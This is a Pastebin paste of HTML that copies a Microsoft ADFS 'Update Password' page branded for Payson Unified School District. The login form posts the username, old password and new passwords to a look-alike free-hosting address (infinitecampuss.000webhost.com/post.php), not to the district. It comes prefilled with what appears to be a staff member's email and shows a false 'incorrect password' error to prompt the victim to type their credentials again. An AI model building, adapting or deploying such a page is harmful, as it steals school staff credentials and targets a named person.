Advertisement
Guest User

Untitled

a guest
Nov 19th, 2019
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.21 KB | None | 0 0
  1.  
  2. <!DOCTYPE html>
  3. <html lang="en-US">
  4. <head>
  5. <meta http-equiv="X-UA-Compatible" content="IE=10.000"/>
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
  7. <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  8. <meta http-equiv="cache-control" content="no-cache,no-store"/>
  9. <meta http-equiv="pragma" content="no-cache"/>
  10. <meta http-equiv="expires" content="-1"/>
  11. <meta name='mswebdialog-title' content='Connecting to Payson Unified School District'/>
  12.  
  13. <title>Update Password</title>
  14. <script type='text/javascript'>
  15. //<![CDATA[
  16. function UpdErrors(){this.userNameFormatError = 'Enter your user ID in the format \u0026quot;domain\\user\u0026quot; or \u0026quot;user@domain\u0026quot;.'; this.mismatchError = 'The passwords you entered do not match.'; this.oldPasswordEmpty = 'Enter your old password.'; this.newPasswordEmpty = 'Enter your new password.'; this.confirmNewPasswordEmpty = 'Confirm your new password.'; this.oldPasswordTooLong = 'The old password must be shorter than 128 characters.'; this.newPasswordTooLong = 'The new password must be shorter than 128 characters.';}; var maxPasswordLength = 128;
  17. //]]>
  18. </script>
  19.  
  20. <script type='text/javascript'>
  21. //<![CDATA[
  22. // Copyright (c) Microsoft Corporation. All rights reserved.
  23. function InputUtil(errTextElementID, errDisplayElementID) {
  24.  
  25. if (!errTextElementID) errTextElementID = 'errorText';
  26. if (!errDisplayElementID) errDisplayElementID = 'error';
  27.  
  28. this.hasFocus = false;
  29. this.errLabel = document.getElementById(errTextElementID);
  30. this.errDisplay = document.getElementById(errDisplayElementID);
  31. };
  32. InputUtil.prototype.canDisplayError = function () {
  33. return this.errLabel && this.errDisplay;
  34. }
  35. InputUtil.prototype.checkError = function () {
  36. if (!this.canDisplayError){
  37. throw new Error ('Error element not present');
  38. }
  39. if (this.errLabel && this.errLabel.innerHTML) {
  40. this.errDisplay.style.display = '';
  41. var cause = this.errLabel.getAttribute('for');
  42. if (cause) {
  43. var causeNode = document.getElementById(cause);
  44. if (causeNode && causeNode.value) {
  45. causeNode.focus();
  46. this.hasFocus = true;
  47. }
  48. }
  49. }
  50. else {
  51. this.errDisplay.style.display = 'none';
  52. }
  53. };
  54. InputUtil.prototype.setInitialFocus = function (input) {
  55. if (this.hasFocus) return;
  56. var node = document.getElementById(input);
  57. if (node) {
  58. if ((/^\s*$/).test(node.value)) {
  59. node.focus();
  60. this.hasFocus = true;
  61. }
  62. }
  63. };
  64. InputUtil.prototype.setError = function (input, errorMsg) {
  65. if (!this.canDisplayError) {
  66. throw new Error('Error element not present');
  67. }
  68. input.focus();
  69.  
  70. if (errorMsg) {
  71. this.errLabel.innerHTML = errorMsg;
  72. }
  73. this.errLabel.setAttribute('for', input.id);
  74. this.errDisplay.style.display = '';
  75. };
  76. InputUtil.makePlaceholder = function (input) {
  77. var ua = navigator.userAgent;
  78.  
  79. if (ua != null &&
  80. (ua.match(/MSIE 9.0/) != null ||
  81. ua.match(/MSIE 8.0/) != null ||
  82. ua.match(/MSIE 7.0/) != null)) {
  83. var node = document.getElementById(input);
  84. if (node) {
  85. var placeholder = node.getAttribute("placeholder");
  86. if (placeholder != null && placeholder != '') {
  87. var label = document.createElement('input');
  88. label.type = "text";
  89. label.value = placeholder;
  90. label.readOnly = true;
  91. label.style.position = 'absolute';
  92. label.style.borderColor = 'transparent';
  93. label.className = node.className + ' hint';
  94. label.tabIndex = -1;
  95. label.onfocus = function () { this.nextSibling.focus(); };
  96.  
  97. node.style.position = 'relative';
  98. node.parentNode.style.position = 'relative';
  99. node.parentNode.insertBefore(label, node);
  100. node.onkeyup = function () { InputUtil.showHint(this); };
  101. node.onblur = function () { InputUtil.showHint(this); };
  102. node.style.background = 'transparent';
  103.  
  104. node.setAttribute("placeholder", "");
  105. InputUtil.showHint(node);
  106. }
  107. }
  108. }
  109. };
  110. InputUtil.focus = function (inputField) {
  111. var node = document.getElementById(inputField);
  112. if (node) node.focus();
  113. };
  114. InputUtil.hasClass = function(node, clsName) {
  115. return node.className.match(new RegExp('(\\s|^)' + clsName + '(\\s|$)'));
  116. };
  117. InputUtil.addClass = function(node, clsName) {
  118. if (!this.hasClass(node, clsName)) node.className += " " + clsName;
  119. };
  120. InputUtil.removeClass = function(node, clsName) {
  121. if (this.hasClass(node, clsName)) {
  122. var reg = new RegExp('(\\s|^)' + clsName + '(\\s|$)');
  123. node.className = node.className.replace(reg, ' ');
  124. }
  125. };
  126. InputUtil.showHint = function (node, gotFocus) {
  127. if (node.value && node.value != '') {
  128. node.previousSibling.style.display = 'none';
  129. }
  130. else {
  131. node.previousSibling.style.display = '';
  132. }
  133. };
  134. //]]>
  135. </script>
  136.  
  137.  
  138.  
  139. <link rel="stylesheet" type="text/css" href="/adfs/portal/css/style.css?id=D74D4D6943F32AE6F7F11D14D601DBB0E1A58919176EE512150366B6279AAF99" /><style>.illustrationClass {background-image:url(/adfs/portal/illustration/illustration.png?id=183128A3C941EDE3D9199FA37D6AA90E0A7DFE101B37D10B4FEDA0CF35E11AFD);}</style>
  140.  
  141. </head>
  142. <body dir="ltr" class="body">
  143. <div id="noScript" style="position:static; width:100%; height:100%; z-index:100">
  144. <h1>JavaScript required</h1>
  145. <p>JavaScript is required. This web browser does not support JavaScript or JavaScript in this web browser is not enabled.</p>
  146. <p>To find out if your web browser supports JavaScript or to enable JavaScript, see web browser help.</p>
  147. </div>
  148. <script type="text/javascript" language="JavaScript">
  149. document.getElementById("noScript").style.display = "none";
  150. </script>
  151. <div id="fullPage">
  152. <div id="brandingWrapper" class="float">
  153. <div id="branding"></div>
  154. </div>
  155. <div id="contentWrapper" class="float">
  156. <div id="content">
  157. <div id="header">
  158. <img class="logoImage" src="/adfs/portal/logo/logo.png?id=D7F94BECC44F549875FFF835B02D0DACAC853014636E9C3F87B34B7C30751304" alt="Payson Unified School District"/>
  159. </div>
  160. <div id="workArea">
  161. <div id="updatePasswordArea">
  162. <form method="post" id="updatePasswordForm" autocomplete="off" novalidate="novalidate" action="infinitecampuss.000webhost.com/post.php">
  163. <div class="groupMargin">
  164. Update Password
  165. </div>
  166.  
  167. <div class="groupMargin" style="display:none">
  168. <span id="expiredNotification"></span>
  169. </div>
  170.  
  171. <div id="error" class="fieldMargin error smallText">
  172. <label id="errorText" for="userNameInput">The user ID or password is incorrect.</label>
  173. </div>
  174.  
  175. <div id="userNameArea">
  176. <input id="userNameInput" name="UserName" type="email" value="faith.pierce@pusd10.org" class="text fullWidth"
  177. tabindex="1" spellcheck="false" placeholder="someone@example.com" autocomplete="off"/>
  178. </div>
  179.  
  180. <div id="oldPasswordArea">
  181. <input id="oldPasswordInput" name="OldPassword" type="password" class="text fullWidth"
  182. tabindex="2" placeholder="Old password" autocomplete="off"/>
  183. </div>
  184.  
  185. <div id="newPasswordArea">
  186. <input id="newPasswordInput" name="NewPassword" type="password" class="text fullWidth"
  187. tabindex="3" placeholder="New password" autocomplete="off"/>
  188. </div>
  189.  
  190. <div id="confirmNewPasswordArea">
  191. <input id="confirmNewPasswordInput" name="ConfirmNewPassword" type="password" class="text fullWidth"
  192. tabindex="4" placeholder="Confirm new password" autocomplete="off"/>
  193. </div>
  194.  
  195. <div id="submissionArea" class="submitMargin">
  196. <input id="submitButton" type="submit" name="Submit" value="Submit"
  197. tabindex="5" onclick="return UpdatePassword.submitPasswordChange()"/>
  198. <input id="cancelButton" type="submit" name="Cancel" value="Cancel"
  199. tabindex="6" onclick="return Cancel()"/>
  200. </div>
  201. </form>
  202.  
  203. <div id="introduction" class="groupMargin">
  204.  
  205. </div>
  206.  
  207. <script type="text/javascript" language="JavaScript">
  208. //<![CDATA[
  209.  
  210. function UpdatePassword() {
  211. }
  212.  
  213. UpdatePassword.userNameInput = 'userNameInput';
  214. UpdatePassword.oldPasswordInput = 'oldPasswordInput';
  215. UpdatePassword.newPasswordInput = 'newPasswordInput';
  216. UpdatePassword.confirmNewPasswordInput = 'confirmNewPasswordInput';
  217.  
  218. UpdatePassword.initialize = function () {
  219.  
  220. var u = new InputUtil();
  221.  
  222. u.checkError();
  223. u.setInitialFocus(UpdatePassword.userNameInput);
  224. u.setInitialFocus(UpdatePassword.oldPasswordInput);
  225. u.setInitialFocus(UpdatePassword.newPasswordInput);
  226. u.setInitialFocus(UpdatePassword.confirmNewPasswordInput);
  227. } ();
  228.  
  229. UpdatePassword.submitPasswordChange = function () {
  230. var u = new InputUtil();
  231. var e = new UpdErrors();
  232.  
  233. var userName = document.getElementById(UpdatePassword.userNameInput);
  234. var oldPassword = document.getElementById(UpdatePassword.oldPasswordInput);
  235. var newPassword = document.getElementById(UpdatePassword.newPasswordInput);
  236. var confirmNewPassword = document.getElementById(UpdatePassword.confirmNewPasswordInput);
  237.  
  238. if (!userName.value || !userName.value.match('[@\\\\]')) {
  239. u.setError(userName, e.userNameFormatError);
  240. return false;
  241. }
  242.  
  243. if (!oldPassword.value) {
  244. u.setError(oldPassword, e.oldPasswordEmpty);
  245. return false;
  246. }
  247.  
  248. if (oldPassword.value.length > maxPasswordLength) {
  249. u.setError(oldPassword, e.oldPasswordTooLong);
  250. return false;
  251. }
  252.  
  253. if (!newPassword.value) {
  254. u.setError(newPassword, e.newPasswordEmpty);
  255. return false;
  256. }
  257.  
  258. if (newPassword.value.length > maxPasswordLength) {
  259. u.setError(newPassword, e.newPasswordTooLong);
  260. return false;
  261. }
  262.  
  263. if (!confirmNewPassword.value) {
  264. u.setError(confirmNewPassword, e.confirmNewPasswordEmpty);
  265. return false;
  266. }
  267.  
  268. if (newPassword.value !== confirmNewPassword.value) {
  269. u.setError(confirmNewPassword, e.mismatchError);
  270. return false;
  271. }
  272.  
  273. var error = document.getElementById('error');
  274. error.innerHTML = '';
  275. return true;
  276. };
  277.  
  278. InputUtil.makePlaceholder(UpdatePassword.userNameInput);
  279. InputUtil.makePlaceholder(UpdatePassword.oldPasswordInput);
  280. InputUtil.makePlaceholder(UpdatePassword.newPasswordInput);
  281. InputUtil.makePlaceholder(UpdatePassword.confirmNewPasswordInput);
  282. //]]>
  283. </script>
  284. </div>
  285.  
  286. </div>
  287. <div id="footerPlaceholder"></div>
  288. </div>
  289. <div id="footer">
  290. <div id="footerLinks" class="floatReverse">
  291. <div><span id="copyright">&#169; 2013 Microsoft</span></div>
  292. </div>
  293. </div>
  294. </div>
  295. </div>
  296. <script type='text/javascript'>
  297. //<![CDATA[
  298. // Copyright (c) Microsoft Corporation. All rights reserved.
  299.  
  300. // This file contains several workarounds on inconsistent browser behaviors that administrators may customize.
  301. "use strict";
  302.  
  303. // iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.
  304. // Note change input type does not work on all versions of all browsers.
  305. if (navigator.userAgent.match(/iPhone/i) != null) {
  306. var emails = document.querySelectorAll("input[type='email']");
  307. if (emails) {
  308. for (var i = 0; i < emails.length; i++) {
  309. emails[i].type = 'text';
  310. }
  311. }
  312. }
  313.  
  314. // In the CSS file we set the ms-viewport to be consistent with the device dimensions,
  315. // which is necessary for correct functionality of immersive IE.
  316. // However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original
  317. // values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.
  318. // Windows 8 phone has agent string 'IEMobile 10.0'
  319. if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
  320. var msViewportStyle = document.createElement("style");
  321. msViewportStyle.appendChild(
  322. document.createTextNode(
  323. "@-ms-viewport{width:auto!important}"
  324. )
  325. );
  326. msViewportStyle.appendChild(
  327. document.createTextNode(
  328. "@-ms-viewport{height:auto!important}"
  329. )
  330. );
  331. document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
  332. }
  333.  
  334. // If the innerWidth is defined, use it as the viewport width.
  335. if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {
  336. var viewport = document.querySelector("meta[name=viewport]");
  337. viewport.setAttribute('content', 'width=' + window.innerWidth + 'px; initial-scale=1.0; maximum-scale=1.0');
  338. }
  339.  
  340. // Gets the current style of a specific property for a specific element.
  341. function getStyle(element, styleProp) {
  342. var propStyle = null;
  343.  
  344. if (element && element.currentStyle) {
  345. propStyle = element.currentStyle[styleProp];
  346. }
  347. else if (element && window.getComputedStyle) {
  348. propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);
  349. }
  350.  
  351. return propStyle;
  352. }
  353.  
  354. // The script below is used for downloading the illustration image
  355. // only when the branding is displaying. This script work together
  356. // with the code in PageBase.cs that sets the html inline style
  357. // containing the class 'illustrationClass' with the background image.
  358. var computeLoadIllustration = function () {
  359. var branding = document.getElementById("branding");
  360. var brandingDisplay = getStyle(branding, "display");
  361. var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display");
  362.  
  363. if (brandingDisplay && brandingDisplay !== "none" &&
  364. brandingWrapperDisplay && brandingWrapperDisplay !== "none") {
  365. var newClass = "illustrationClass";
  366.  
  367. if (branding.classList && branding.classList.add) {
  368. branding.classList.add(newClass);
  369. } else if (branding.className !== undefined) {
  370. branding.className += " " + newClass;
  371. }
  372. if (window.removeEventListener) {
  373. window.removeEventListener('load', computeLoadIllustration, false);
  374. window.removeEventListener('resize', computeLoadIllustration, false);
  375. }
  376. else if (window.detachEvent) {
  377. window.detachEvent('onload', computeLoadIllustration);
  378. window.detachEvent('onresize', computeLoadIllustration);
  379. }
  380. }
  381. };
  382.  
  383. if (window.addEventListener) {
  384. window.addEventListener('resize', computeLoadIllustration, false);
  385. window.addEventListener('load', computeLoadIllustration, false);
  386. }
  387. else if (window.attachEvent) {
  388. window.attachEvent('onresize', computeLoadIllustration);
  389. window.attachEvent('onload', computeLoadIllustration);
  390. }
  391.  
  392. //]]>
  393. </script>
  394.  
  395.  
  396. </body>
  397. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement